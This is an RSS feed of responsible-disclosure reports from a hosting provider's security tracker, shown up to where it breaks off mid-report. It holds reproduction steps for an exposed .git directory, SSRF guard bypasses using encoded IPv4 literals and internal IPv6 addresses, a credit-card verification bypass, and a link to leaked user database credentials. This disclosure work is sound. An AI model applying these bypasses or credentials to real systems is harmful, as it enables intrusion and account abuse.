<?xml version="1.0" ?>
<rss version="2.0">
  <channel>
    <title>alwaysdata </title>
    <lastBuildDate>Mon, 31 Aug 2026 07:40:50 +0000</lastBuildDate>
    <description>alwaysdata Security vulnerabilities: Recently opened tasks</description>
    <link>https://security.alwaysdata.com/</link>
        <item>
      <title>FS#466: Exposed .git directory at security.alwaysdata.com (regression of FS#428)</title>
      <author>Abdul Halim</author>
      <pubDate>Sat, 29 Aug 2026 20:12:22 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>EXPOSED .GIT DIRECTORY AT SECURITY.ALWAYSDATA.COM (REGRESSION OF <del>&#160;<a href="https://security.alwaysdata.com/task/428?feed_type=rss2" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#428</a>&#160;</del>)</strong>
</p>

<p>
Target: <a href="https://security.alwaysdata.com/.git/" class="urlextern" title="https://security.alwaysdata.com/.git/"  rel="nofollow">https://security.alwaysdata.com/.git/</a> Class: Information Exposure (Sensitive File / Source Code Metadata Disclosure)<br />Finding type: Regression (previously fixed vulnerability re-introduced) 
</p>
<hr />

<p>
<strong>SUMMARY</strong>
</p>

<p>
The .git directory on security.alwaysdata.com is publicly accessible. Core Git files (config, HEAD, index, packed-refs, refs/heads/master) return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 with no authentication. The same issue was reported as <del>&#160;<a href="https://security.alwaysdata.com/task/428?feed_type=rss2" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#428</a>&#160;</del> and closed as Fixed on 01.08.2026 by cbay. It is back 28 days later.
</p>

<p>
Exposed: repository metadata, the full deployment file tree (942 index entries), branch names, and commit hashes. The object store (objects/) returns 404, so the source code itself cannot be fully downloaded. 
</p>
<hr />

<p>
<strong>VULNERABILITY DETAILS</strong>
</p>

<p>
Exposed files (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200): 
</p>
<pre class="code">/.git/config  -&gt;  Repository config, origin = github.com/flyspray/flyspray.git
/.git/HEAD  -&gt;  ref: refs/heads/master
/.git/index  -&gt;  Valid Git index file (DIRC magic), 942 entries, 102 KB
/.git/packed-refs  -&gt;  40+ branches (including remote branches)
/.git/refs/heads/master  -&gt;  Commit hash a1ffafd65d5662d69e8b0334315b857449e3ea38</pre>

<p>
 Not exposed (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 404): 
</p>
<pre class="code">/.git/objects/&lt;hash&gt;  -&gt;  Object store not accessible
/.git/objects/info/packs  -&gt;  404
/.git/info/refs  -&gt;  404</pre>
<hr />

<p>
<strong>STEPS TO REPRODUCE</strong> 
</p>
<pre class="code">1. Repository config is readable:
   curl -s https://security.alwaysdata.com/.git/config</pre>
<pre class="code">2. HEAD returns the active branch:
   curl -s https://security.alwaysdata.com/.git/HEAD
   Output: ref: refs/heads/master</pre>
<pre class="code">3. Index is a genuine git file (first 4 bytes = DIRC):
   curl -s https://security.alwaysdata.com/.git/index | head -c 4
   Output: DIRC</pre>
<pre class="code">4. packed-refs leaks the branch list:
   curl -s https://security.alwaysdata.com/.git/packed-refs</pre>
<pre class="code">5. HEAD commit hash:
   curl -s https://security.alwaysdata.com/.git/refs/heads/master</pre>

<p>
 A full runnable PoC script is attached (poc_git_exposure.txt). 
</p>
<hr />

<p>
<strong>IMPACT</strong> 
</p>
<pre class="code">1. The deployment file tree is exposed. The Git index lists every file on the server (942 files). An attacker can map the app and knows exactly where to look for more bugs.</pre>
<pre class="code">2. Repository metadata leaks. Branch names and commit hashes reveal the software version and internal development patterns.</pre>
<pre class="code">3. The fix did not hold. FS#428 was closed as Fixed on 01.08.2026, but the same issue came back. Most likely the deployment was redone without removing the .git directory from the document root.</pre>
<hr />

<p>
<strong>RECOMMENDED FIX</strong> 
</p>
<pre class="code">1. Block web access to the .git directory at the server level (Apache Directory directive or rewrite rule).
2. Remove the .git directory from the deployment document root. Repositories should live outside the folder served to the public.
3. Add a regression test to the deployment process so the .git directory cannot reappear later.
4. Review access logs to check whether the .git directory has ever been downloaded.</pre>
<hr />
]]></description>
      <link>https://security.alwaysdata.com/task/466</link>
      <guid>https://security.alwaysdata.com/task/466</guid>
    </item>
        <item>
      <title>FS#465: Potential SQL Injection via getfile Parameter</title>
      <author>Aditya singh</author>
      <pubDate>Sat, 29 Aug 2026 06:12:48 +0000</pubDate>
      <description><![CDATA[
<p>
Summary:- 
</p>

<p>
The getfile parameter at <a href="https://security.alwaysdata.com/" class="urlextern" title="https://security.alwaysdata.com/"  rel="nofollow">https://security.alwaysdata.com/</a> appears to be insufficiently validated. Appending a single quote (&#039;) to the parameter causes a PostgreSQL database error, revealing the backend <acronym title="Structured Query Language">SQL</acronym> query and parameter value.
</p>

<p>
Step to repro:-
</p>

<p>
1. Open the following <acronym title="Uniform Resource Locator">URL</acronym>:<br /><a href="https://security.alwaysdata.com/?getfile=1%27" class="urlextern" title="https://security.alwaysdata.com/?getfile=1%27"  rel="nofollow">https://security.alwaysdata.com/?getfile=1%27</a>
</p>

<p>
2. Observe the returned error:<br />Query {SELECT t.project_id, a.orig_name, a.file_name, a.file_type, t.* FROM &quot;flyspray_attachments&quot; a INNER JOIN &quot;flyspray_tasks&quot; t ON a.task_id = t.task_id WHERE attachment_id = ?} with params {1&#039;} failed!
</p>

<p>
ERROR: invalid input syntax for type integer: &quot;1&#039;&quot;<br />CONTEXT: unnamed portal parameter $1 = &#039;…&#039;
</p>

<p>
3. The error indicates that the supplied getfile value is being passed to a PostgreSQL query as a parameter and that the application exposes internal <acronym title="Structured Query Language">SQL</acronym>/database error details.
</p>

<p>
Impact:<br />Database error messages are exposed to unauthenticated users.<br />Internal <acronym title="Structured Query Language">SQL</acronym> query structure and database implementation details are disclosed.<br />If the parameter is vulnerable beyond type validation/parameter handling, this could potentially lead to <acronym title="Structured Query Language">SQL</acronym> injection and unauthorized database access.<br />The disclosed <acronym title="Structured Query Language">SQL</acronym> details can assist further targeted attacks.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/465</link>
      <guid>https://security.alwaysdata.com/task/465</guid>
    </item>
        <item>
      <title>FS#464: Exposed always data user configuration details </title>
      <author>Anusha K</author>
      <pubDate>Thu, 27 Aug 2026 14:43:33 +0000</pubDate>
      <description><![CDATA[
<p>
Always data cloud mysql datasource configuration and alwaysdata database configuration details of an Alwaysdata user exposed in the github repository. 
</p>

<p>
So i logged in to <a href="https://phpmyadmin.alwaysdata.com/" class="urlextern" title="https://phpmyadmin.alwaysdata.com/"  rel="nofollow">https://phpmyadmin.alwaysdata.com/</a> and i was able to access the database.
</p>

<p>
The github repo where the credentials are exposed : <a href="https://github.com/sushma23nov/CineBook/blob/33bdee3d8c94bbf51156d78466b5682343bac9b6/database.md?plain=1#L28" class="urlextern" title="https://github.com/sushma23nov/CineBook/blob/33bdee3d8c94bbf51156d78466b5682343bac9b6/database.md?plain=1#L28"  rel="nofollow">https://github.com/sushma23nov/CineBook/blob/33bdee3d8c94bbf51156d78466b5682343bac9b6/database.md?plain=1#L28</a> 
</p>

<p>
 Fix : Ask them to store it in .env and to add it in .gitignore , and create a config file seperately for storing the configuration details. <br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/464</link>
      <guid>https://security.alwaysdata.com/task/464</guid>
    </item>
        <item>
      <title>FS#463: Transitive Bypass of Credit Card Verification via Nested Profile Invitations</title>
      <author>Afiq Haekal</author>
      <pubDate>Tue, 25 Aug 2026 17:42:30 +0000</pubDate>
      <description><![CDATA[
<p>
1. Summary<br />Alwaysdata requires users to link a credit card during standard public registration (/register/). This check prevents automated free-tier abuse and disposable botnet setup.
</p>

<p>
An inconsistent check exists in the profile invitation feature (/permissions/add/):
</p>

<p>
An existing account owner (User A) invites an email address (User B) with zero permissions.<br />User B confirms the email link, sets a password, and enters basic profile information (address and phone number) without any credit card or OTP verification.<br />User B opens admin.alwaysdata.com and creates an independent free hosting account (1GB disk, 256MB RAM, 0.25 CPU, dedicated <acronym title="Secure Shell">SSH</acronym>, public IP, <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> server) directly from the panel without ever being asked for a credit card.<br />This behavior is transitive. User B can then invite User C, who completes the same onboarding flow (password, address, phone) and creates another free hosting account without linking a payment card.<br />This chain allows someone with a single verified account to create unlimited independent free hosting accounts without linking a payment card to the new accounts.
</p>

<p>
2. Technical Details<br />The Logic Gap<br />Alwaysdata separates user identities (Profiles) from compute containers (Accounts).
</p>

<p>
Public registration flow: A visitor fills out the registration form, links a credit card, and the system provisions an account.<br />Invitation flow: When a user registers through an invite link, the onboarding form asks for a password, name, address, and phone number, but completely skips the credit card step. Once logged in, the admin panel allows the user to provision a new free hosting account without checking for a payment card on file.<br />Public Registration:<br />User → Public Form → Credit Card Check → Free Account Created
</p>

<p>
Invitation Chain:<br />User A (Verified)
</p>
<ol>
<li class="level1"><div class="li">&gt; Invites User B (0 perms)</div>
<ol>
<li class="level3"><div class="li">&gt; User B confirms email, sets password, enters address and phone (No card check)</div>
</li>
<li class="level3"><div class="li">&gt; User B opens panel and creates Free Account (e.g., ssh-zerr9)</div>
</li>
<li class="level3"><div class="li">&gt; User B invites User C</div>
<ol>
<li class="level6"><div class="li">&gt; User C confirms email, sets password, enters address and phone (No card check)</div>
</li>
<li class="level6"><div class="li">&gt; User C opens panel and creates Free Account</div>
</li>
</ol>
</li>
</ol>
</li>
</ol>

<p>
3. Impact<br />Unbounded Free Hosting Creation: A user can create multiple independent hosting accounts with active <acronym title="Secure Shell">SSH</acronym>, custom domains, web services, and database instances without linking a credit card to each account.<br />Missing Payment Accountability: Downstream accounts created through the invitation chain have no financial record on file. If these accounts run abusive scripts or phishing pages, Alwaysdata cannot trace them back to a payment method.<br />4. Steps to Reproduce<br />Log in to <a href="https://admin.alwaysdata.com/" class="urlextern" title="https://admin.alwaysdata.com/"  rel="nofollow">https://admin.alwaysdata.com/</a> using an existing account (User A).<br />Go to <a href="https://admin.alwaysdata.com/permissions/add/" class="urlextern" title="https://admin.alwaysdata.com/permissions/add/"  rel="nofollow">https://admin.alwaysdata.com/permissions/add/</a>.<br />Enter a new email address (User B), uncheck all permission boxes, and submit the form.<br />Open the confirmation link sent to User B. Set a password and fill in the address and phone number fields. Notice that the registration finishes without asking for a credit card or SMS OTP.<br />Log in to <a href="https://admin.alwaysdata.com/" class="urlextern" title="https://admin.alwaysdata.com/"  rel="nofollow">https://admin.alwaysdata.com/</a> as User B.<br />From the dashboard, click to create a new account, select the Free plan (1GB disk, 256MB RAM), and confirm.<br />Confirm that the account provisions immediately with full <acronym title="Secure Shell">SSH</acronym> and web access (e.g., ssh-zerr9.alwaysdata.net).<br />While logged in as User B, go to /permissions/add/ and invite User C.<br />Have User C confirm their email, complete the password and address setup, log in, and create another free account. The account provisions without asking for a credit card.<br />5. Suggested Remediation<br />Check Payment Details on Account Creation: Require a linked credit card on the account creation action itself (/account/add/), not just on the public registration form.<br />Restrict Invited Profiles: Require invited collaborator profiles to add and verify a payment method before they can spin up standalone hosting accounts.<br />Limit Invitation Permissions: Only allow profiles with verified payment details to send out new user invitations.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/463</link>
      <guid>https://security.alwaysdata.com/task/463</guid>
    </item>
        <item>
      <title>FS#462: SSRF guard does not cover your own infrastructure, which uses global IPv6</title>
      <author>Bores</author>
      <pubDate>Tue, 25 Aug 2026 13:19:54 +0000</pubDate>
      <description><![CDATA[
<h2 id="summary">Summary</h2>
<div class="level2">

<p>
 The address guard added after <del>&#160;<a href="https://security.alwaysdata.com/task/401?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#401</a>&#160;</del> decides on private versus public address ranges. It refuses RFC1918, loopback, link-local and ULA. Your own internal hosts are not in any of those ranges: they sit in your global allocation <code>2a00:b6e0::/32</code>, which the guard treats as ordinary public space and allows. From inside, <code>www</code>, <code>admin</code>, <code>api</code> and <code>webmail</code>.alwaysdata.com all resolve to <code>2a00:b6e0:1:84:1::1</code>, which is <code>overlord-core.paris1.alwaysdata.com</code>, and none of those names publish an AAAA record publicly. So the guard leaves the hosts it most needs to protect in its permitted class, and no parser trick is required to reach them. This is a different root cause from <del>&#160;<a href="https://security.alwaysdata.com/task/461?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#461</a>&#160;</del>, which is about how IPv4 literals are parsed rather than which ranges the guard treats as safe.
</p>

</div>

<h2 id="vulnerable_asset">Vulnerable asset</h2>
<div class="level2">

<p>
 <code><a href="https://admin.alwaysdata.com/site/application/script/" class="urlextern" title="https://admin.alwaysdata.com/site/application/script/"  rel="nofollow">https://admin.alwaysdata.com/site/application/script/</a>&lt;id&gt;/</code>, field <code>script_upstream_uri</code>, fetched by <code>POST …/update_script/</code>.
</p>

<p>
The fetching host answers from <code>2a00:b6e0:1:84:1::1</code> and identifies itself as <code>python-requests/2.32.5</code>.
</p>

</div>

<h2 id="root_cause">Root cause</h2>
<div class="level2">

<p>
 The guard implements a deny list of private ranges rather than an allow list of destinations the fetcher is permitted to reach. That model only works when everything sensitive is inside those private ranges. On your platform it is the other way round: tenant services are given ULA addresses, which the guard blocks, while your own management hosts use globally-routable addresses, which it allows. The guard therefore protects tenant-to-tenant traffic and leaves your own infrastructure exposed to it.
</p>

</div>

<h2 id="attack_path">Attack path</h2>
<div class="level2">

<p>
 Everything below was measured from a script object on my own account and from my own shell on ssh2. I did not connect to any of your internal services.
</p>

<p>
First, the guard does block ULA, and I proved that with a service of my own rather than by inference. I ran <code>python3 -m http.server 8199</code> on my account, which binds to my tenant address <code>fd00::7:89a5</code>, serving a file containing a marker. Note that <code>ip -6 addr</code> does not list that address, only the node&#039;s <code>2a00:b6e0:1:50:1::1</code>, so the bound address has to be read from <code>ss -lnt</code>. From my own shell the <acronym title="Uniform Resource Locator">URL</acronym> works:
</p>
<pre class="code">
$ curl http://[fd00::7:89a5]:8199/marker.txt
SSRF-RANGE-PROOF-2a00b6e0
</pre>

<p>
Submitting that same <acronym title="Uniform Resource Locator">URL</acronym> as <code>script_upstream_uri</code> returns in 0.632702s, repeated at 0.590323s, and leaves the installation script field at its baseline, so nothing was fetched.
</p>

<p>
That the fetcher can actually route to that address is not something you have to take from me: it is in <del>&#160;<a href="https://security.alwaysdata.com/task/460?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#460</a>&#160;</del>, which you fixed and paid. That report records <code>direct <a href="http://[fd00::7:89a5]:8080/" class="urlextern" title="http://[fd00::7:89a5]:8080/"  rel="nofollow">http://[fd00::7:89a5]:8080/</a> 0.601s refused by guard</code> alongside <code>redirect → <a href="http://[fd00::7:89a5]:8080/" class="urlextern" title="http://[fd00::7:89a5]:8080/"  rel="nofollow">http://[fd00::7:89a5]:8080/</a> 20.381s connection attempted, timed out</code>. Same address, same fetcher. So a sub-second answer with an empty field is the guard refusing, not the network failing.
</p>

<p>
Second, the guard allows global IPv6, and there the fetch really happens. Pointing the field at example.com&#039;s AAAA record returned the origin&#039;s response body, which was stored in the installation script field where I read it back:
</p>
<pre class="code">
script_upstream_uri = http://[2606:4700:10::6814:179a]/     0.595333s
</pre>

<p>
What landed in the installation script field was the origin&#039;s own error page: &quot;400 Bad Request&quot; as both the title and the heading, ending with a footer line reading &quot;cloudflare&quot;. I have written its text out rather than pasting the markup, since raw tags do not survive this tracker&#039;s formatting. The point is not the page itself but that a body came back from a global IPv6 address and was stored where I can read it.
</p>

<p>
Third, your own hosts are in that allowed class. From my shell on ssh2:
</p>
<pre class="code">
$ for h in www admin api webmail security; do getent hosts $h.alwaysdata.com; done
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com www.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com admin.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com api.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com webmail.alwaysdata.com
2a00:b6e0:1:210:1::1 security.alwaysdata.com
</pre>

<p>
From the public internet the same names resolve to 185.31.40.5 and publish no AAAA at all, so those v6 addresses are an internal view rather than something the public is directed to.
</p>

<p>
Putting the three together: an address in <code>2a00:b6e0::/32</code> is accepted by the guard, an address the fetcher can reach is fetched and its body is handed back to me, and your own management hosts live in <code>2a00:b6e0::/32</code>.
</p>

</div>

<h2 id="impact">Impact</h2>
<div class="level2">

<p>
 Any <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> service on your internal hosts is reachable from this fetcher and its response body is readable by the customer who submitted the <acronym title="Uniform Resource Locator">URL</acronym>, with no notation trick as in <del>&#160;<a href="https://security.alwaysdata.com/task/461?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#461</a>&#160;</del> and no redirect as in <del>&#160;<a href="https://security.alwaysdata.com/task/460?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#460</a>&#160;</del>. The guard does not stand between a customer and your infrastructure, only between a customer and other tenants.
</p>

<p>
This matters more than a single bypass because the guard is currently the whole protection on this feature. The <del>&#160;<a href="https://security.alwaysdata.com/task/460?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#460</a>&#160;</del> fix removed redirect following, so there is no second control behind it.
</p>

<p>
Your own tracker sets the context for what class of host is in that permitted range: <del>&#160;<a href="https://security.alwaysdata.com/task/415?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#415</a>&#160;</del> describes <code>overlord-core</code> as the core management server for the platform. That is the same host this fetcher runs on and the same host the internal names above resolve to.
</p>

<p>
I stopped at demonstrating the address class. Following the SSRF guidance in your rules I did not connect to any internal service, so I cannot tell you what is listening there or what could be retrieved. I am happy to demonstrate that on request or in a development environment.
</p>

</div>

<h2 id="suggested_fix">Suggested fix</h2>
<div class="level2">

<p>
 Reverse the model. Rather than denying a list of private ranges, deny everything and allow only what the feature legitimately needs, which for an installation script source is public <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> outside your own networks. At a minimum, add your own allocations, including <code>2a00:b6e0::/32</code> and any other prefix your infrastructure uses, to the refused set alongside the private ranges, and apply the check to the resolved address rather than to the submitted string.
</p>

<p>
It is also worth deciding whether this fetcher needs to run on the management host at all. Moving it to an egress-restricted worker would make the guard a second line of defence rather than the only one.
</p>

</div>

<h2 id="testing_notes">Testing notes</h2>
<div class="level2">

<p>
 All testing used a script object on my own account, which has been deleted, and a listener I ran on my own hosting account, which has been stopped and removed. Manual requests only, no automated scanner. I did not connect to any of your internal services: the only destinations fetched were example.com over IPv6 and my own hosting account. The <acronym title="Domain Name Server">DNS</acronym> observations come from ordinary getent lookups on my own shell.
</p>

</div>
]]></description>
      <link>https://security.alwaysdata.com/task/462</link>
      <guid>https://security.alwaysdata.com/task/462</guid>
    </item>
        <item>
      <title>FS#461: Incomplete fix for FS#401: SSRF guard does not normalise IPv4 literals</title>
      <author>Bores</author>
      <pubDate>Tue, 25 Aug 2026 11:02:47 +0000</pubDate>
      <description><![CDATA[
<h2 id="summary">Summary</h2>
<div class="level2">

<p>
 The address guard on the installation script source <acronym title="Uniform Resource Identifier">URI</acronym> refuses a private destination only when the address is written as a dotted quad. Written as a decimal, octal or hexadecimal integer, the same address passes the guard and the backend opens the connection. The response body of a successful fetch is stored verbatim in the installation script field and read straight back by the submitting user, which is the read-back primitive <del>&#160;<a href="https://security.alwaysdata.com/task/401?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#401</a>&#160;</del> was fixed for. This is a different path from <del>&#160;<a href="https://security.alwaysdata.com/task/460?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#460</a>&#160;</del>: no redirect is involved, the encoded address is the <acronym title="Uniform Resource Locator">URL</acronym> submitted in the form.
</p>

</div>

<h2 id="vulnerable_asset">Vulnerable asset</h2>
<div class="level2">

<p>
 <code><a href="https://admin.alwaysdata.com/site/application/script/" class="urlextern" title="https://admin.alwaysdata.com/site/application/script/"  rel="nofollow">https://admin.alwaysdata.com/site/application/script/</a>&lt;id&gt;/</code>, field <code>script_upstream_uri</code>.
</p>

<p>
The fetch is triggered by <code>POST <a href="https://admin.alwaysdata.com/site/application/script/" class="urlextern" title="https://admin.alwaysdata.com/site/application/script/"  rel="nofollow">https://admin.alwaysdata.com/site/application/script/</a>&lt;id&gt;/update_script/</code>.
</p>

<p>
The fetching host identified itself as <code>2a00:b6e0:1:84:1::1</code> running <code>python-requests/2.32.5</code>.
</p>

</div>

<h2 id="root_cause">Root cause</h2>
<div class="level2">

<p>
 The guard classifies the host portion of the submitted <acronym title="Uniform Resource Locator">URL</acronym> by its textual form. The <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> client that later opens the connection parses the same host with <code>inet_aton</code> semantics, which accept decimal, octal, hexadecimal and mixed notations for an IPv4 address. The two therefore disagree about which host the <acronym title="Uniform Resource Locator">URL</acronym> points to: the guard sees a string it does not recognise as private, and the client resolves it to exactly the private address the guard was meant to block.
</p>

<p>
The gap is specific to IPv4 literals. I checked the neighbouring cases and they are handled correctly, which is why I am confident this is a parsing gap rather than a missing range: loopback, all three RFC1918 blocks and link-local are refused as dotted quads, and IPv6 is refused in compressed and fully expanded form alike, so the IPv6 path is normalised before the check while the IPv4 path is not. I did not have access to the source, so the mechanism is inferred from behaviour.
</p>

</div>

<h2 id="attack_path">Attack path</h2>
<div class="level2">

<p>
 I used <code>10.255.255.1:8080</code> as the destination for the bypass. It is unroutable, so a refusal by the guard returns in well under a second while a real connection attempt shows up as a TCP timeout of roughly 20 seconds. Set <code>script_upstream_uri</code> on a script object you own, then POST to <code>update_script/</code> and measure.
</p>

<p>
The guard works for every canonical form:
</p>
<pre class="code">
http://127.0.0.1/                            0.583544s
http://192.168.0.1:8080/                     0.632095s
http://172.16.0.1:8080/                      0.581063s
http://169.254.169.254/                      0.593031s
http://[::1]/                                0.634583s
http://[fd00:dead:beef:0:0:0:0:1]:8080/      0.676233s
http://10.255.255.1:8080/                    0.586345s
</pre>

<p>
The same address in any other IPv4 notation is not refused, and the request blocks for the full TCP timeout:
</p>
<pre class="code">
decimal        http://184549121:8080/         20.532416s
octal dotted   http://012.0377.0377.01:8080/  20.556865s
hex dotted     http://0xa.0xff.0xff.0x1:8080/ 20.006989s
hex flat       http://0x0AFFFF01:8080/        20.100729s
</pre>

<p>
I measured the decimal case six times across separate runs and it blocked every time, between 20.05s and 20.65s, against 0.586s to 0.647s for the dotted quad in the same runs. Note the port: the connection attempts are to 8080, so the reachable set is not limited to 80 and 443.
</p>

<p>
To rule out the alternative explanation that these strings are treated as hostnames whose <acronym title="Domain Name Server">DNS</acronym> lookup simply times out, I pointed the same notations at my own public address <code>185.31.41.11</code>. Every one was parsed as IPv4 and actually fetched, and your front end&#039;s response body was stored in the installation script field:
</p>
<pre class="code">
http://bores.alwaysdata.net/gc.sh  0.620634s  stored: echo GUARD-CONTROL-OK
http://185.31.41.11/gc.sh          0.585734s  stored: Request ID: 6cd9bd2c-b1a04128
http://3105827083/gc.sh            0.590465s  stored: Request ID: d6a47ad3-269af3c0
http://0271.037.051.013/gc.sh      0.596060s  stored: Request ID: b25f13a3-7f8cfd88
http://0xb9.0x1f.0x29.0xb/gc.sh    0.589441s  stored: Request ID: 61ec6cce-f060c454
http://0xB91F290B/gc.sh            0.658276s  stored: Request ID: 04bc1339-ad0006fb
</pre>

<p>
The first line is a hostname control on a file I placed on my own site, and it came back with the file contents verbatim, which shows the read-back primitive is intact. The rest are the same file requested through the raw address in each notation; they land on your front end rather than my vhost, so the stored body is your &quot;Site not found&quot; page, each with its own request id.
</p>

<p>
Only <code>http</code> and <code>https</code> are accepted. The form rejects <code>file://</code>, <code>gopher://</code>, <code>dict://</code> and <code>ftp://</code> before any fetch, so there is no protocol smuggling here.
</p>

</div>

<h2 id="impact">Impact</h2>
<div class="level2">

<p>
 An authenticated customer can make an alwaysdata backend host open TCP connections to any IPv4 address and port the guard is meant to forbid, and read the full response body back out of the installation script field.
</p>

<p>
The obvious objection is the one you used to close <del>&#160;<a href="https://security.alwaysdata.com/task/343?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#343</a>&#160;</del>, that customers have unrestricted <acronym title="Secure Shell">SSH</acronym> anyway and the job runner executes in the same context and permissions as the <acronym title="Secure Shell">SSH</acronym> server. I tested that objection rather than assuming it does not apply, by running the same destinations from my own shell account on ssh2 and through the fetcher:
</p>
<pre class="code">
destination          from my shell (ssh2)                 through the fetcher
10.0.0.1:8080        Errno 113 No route to host, 0.00s    20.384915s
192.168.0.1:8080     timed out, 8.00s                     20.082109s
172.16.0.1:8080      timed out, 8.01s                     20.093270s
</pre>

<p>
The shell side of that table is reproducible in one command on any hosting account:
</p>
<pre class="code">
python3 -c &quot;import socket,time
s=socket.socket(); s.settimeout(8); t=time.time()
try: s.connect((&#039;10.0.0.1&#039;,8080)); print(&#039;open&#039;)
except Exception as e: print(type(e).__name__, e, round(time.time()-t,2))&quot;
</pre>

<p>
The first row is the important one. My shell has no route to <code>10.0.0.0/8</code> at all, so the kernel rejects it immediately, while the fetcher accepts the same destination for routing and sits there until the connection times out. Whatever the fetcher is attached to, it is not the network position my <acronym title="Secure Shell">SSH</acronym> session has. So this is not the situation you assessed in <del>&#160;<a href="https://security.alwaysdata.com/task/343?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#343</a>&#160;</del>: the bypass grants reach that the customer does not already have.
</p>

<p>
The states are also distinguishable from the outside, which makes this usable for mapping rather than only for blind requests. A destination that answers <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> returns its body into a field I read, measured against my own host. A refused port returns in about 0.6 seconds, measured against port 9 on my own address, which my shell confirms is refused. A filtered or unrouted destination takes about 20 seconds.
</p>

<p>
On what is actually behind the guard, I stopped deliberately. Following your SSRF guidance I made exactly one request to an internal destination, <code><a href="http://2130706433/" class="urlextern" title="http://2130706433/"  rel="nofollow">http://2130706433/</a></code>, the fetcher&#039;s own loopback on port 80. It was refused in 0.605334 seconds and nothing was returned or stored. I did not try another port or address, so I cannot tell you what is reachable there. I am happy to demonstrate that on request or in a development environment.
</p>

</div>

<h2 id="suggested_fix">Suggested fix</h2>
<div class="level2">

<p>
 Resolve the host to an address before the policy decision and apply the policy to the resolved address rather than to the submitted string. Parsing the host with <code>ipaddress.ip_address()</code> after normalising through <code>socket.getaddrinfo()</code> covers the decimal, octal, hexadecimal and mixed notations in one step, because the check then runs on the same value the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> client will connect to. Rejecting host forms that are not a plain dotted quad, a bracketed IPv6 literal, or a <acronym title="Domain Name Server">DNS</acronym> name would close the gap as well, and is easier to test.
</p>

<p>
Either way it is worth adding regression cases for the four notations above. The IPv6 path already behaves correctly, so the fix only needs to bring IPv4 up to the same standard.
</p>

</div>

<h2 id="testing_notes">Testing notes</h2>
<div class="level2">

<p>
 All testing was done against a script object on my own account, which has been deleted. Manual requests only, no automated scanner, a handful of requests spaced by seconds. The destination used for the bypass proof is unroutable RFC1918 space and the destination used for the parsing proof is my own public address. The single internal request is the one described under Impact.
</p>

</div>
]]></description>
      <link>https://security.alwaysdata.com/task/461</link>
      <guid>https://security.alwaysdata.com/task/461</guid>
    </item>
        <item>
      <title>FS#460: Incomplete fix for FS#401: SSRF address guard is not re-applied on HTTP redirects</title>
      <author>Bores</author>
      <pubDate>Tue, 25 Aug 2026 03:30:54 +0000</pubDate>
      <description><![CDATA[
<h2 id="summary">Summary</h2>
<div class="level2">

<p>
 The installation script source <acronym title="Uniform Resource Identifier">URI</acronym> feature still performs server-side fetches of user-supplied URLs. The address guard added after <del>&#160;<a href="https://security.alwaysdata.com/task/401?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#401</a>&#160;</del> works correctly on the <acronym title="Uniform Resource Locator">URL</acronym> submitted in the form: it resolves hostnames and refuses private destinations before opening any connection. It is not re-applied when the fetcher follows an <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> redirect. A <acronym title="Uniform Resource Locator">URL</acronym> that passes the check and then answers with a 302 sends the backend to any destination the attacker chooses, including RFC1918 space and the fetching host&#039;s own loopback. The full response body of a successful fetch is stored verbatim in the installation script field and read straight back by the submitting user, which is the read-back primitive <del>&#160;<a href="https://security.alwaysdata.com/task/401?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#401</a>&#160;</del> was fixed for.
</p>

</div>

<h2 id="vulnerable_asset">Vulnerable asset</h2>
<div class="level2">

<p>
 <code><a href="https://admin.alwaysdata.com/site/application/script/add/" class="urlextern" title="https://admin.alwaysdata.com/site/application/script/add/"  rel="nofollow">https://admin.alwaysdata.com/site/application/script/add/</a></code> and <code><a href="https://admin.alwaysdata.com/site/application/script/" class="urlextern" title="https://admin.alwaysdata.com/site/application/script/"  rel="nofollow">https://admin.alwaysdata.com/site/application/script/</a>&lt;id&gt;/</code>, field <code>script_upstream_uri</code>.
</p>

<p>
The fetch is triggered by <code>POST <a href="https://admin.alwaysdata.com/site/application/script/" class="urlextern" title="https://admin.alwaysdata.com/site/application/script/"  rel="nofollow">https://admin.alwaysdata.com/site/application/script/</a>&lt;id&gt;/update_script/</code>.
</p>

<p>
The fetching host identified itself as <code>2a00:b6e0:1:84:1::1</code> running <code>python-requests/2.32.5</code>.
</p>

</div>

<h2 id="root_cause">Root cause</h2>
<div class="level2">

<p>
